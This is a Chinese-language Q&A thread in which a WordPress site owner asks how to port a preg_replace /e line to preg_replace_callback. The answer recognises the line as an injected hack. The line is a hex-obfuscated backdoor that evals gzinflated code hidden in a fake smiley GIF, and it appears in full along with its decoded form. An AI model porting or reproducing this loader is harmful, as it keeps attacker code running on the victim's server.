问题描述
我正在更新我网站的 PHP,当我尝试将其更新到最新的 PHP 版本时,我收到此消息:
警告:preg_replace():不再支持 /e 修饰符,请在第 291 行的 /home/customer/www/---.org/public_html/wp-includes/init.php 中使用 preg_replace_callback 代替
这是我要更改的行:
preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x2e\x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x61\x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b","");
我需要将其更改为 preg_replace_callback 但我对这部分感到困惑:
\x65\x76\x61\x6c\x28\x27\x24\x70\x61\x67\x65\x78\x79\x7a\x20\x3d\x20\x40\x66\x69\x6c\x65\x5f\ x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x6d\x69\x6c\x69\x65\x73\x2f\x69\x63\x6f\x6e\x5f\x77\x74\x66\x72 x67\x69\x66\x22\x29\x3b\x65\x76\x61\x6c\x28\x40\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x24\x70\x x67\x65\x78\x79\x7a\x29\x29\x3b\x27\x29\x3b
我该如何翻译那部分?
当我使用在线解码器时,它看起来像这样:
eval('$pagexyz = @file_get_contents("wp-includes/images/smilies/icon_wtf.gif");eval(@gzinflate($pagexyz));');
解决方法
我没有深入研究这个,但是你应该有一个 wp-includes/init.php 文件吗?
Official repo 显示没有最新版本的此类文件
快速谷歌表明这是黑客攻击的结果,搜索“wp-includes/init.php”
同时检查代码,我看到“wp-includes/images/smilies/icon_wtf.gif
”为什么 f*** .gif 在核心中?而且这里的编码函数闻起来很腥。
发布有关潜在黑客攻击的信息 https://blog.tonyballantyne.com/2017/01/25/wordpress-pharma-hack/
您不需要编辑 wp-includes/ 中的任何内容作为其核心文件夹。安装 Core 完整性检查插件并可能更新到最新版本是有意义的,您不能保证数据库尚未被篡改。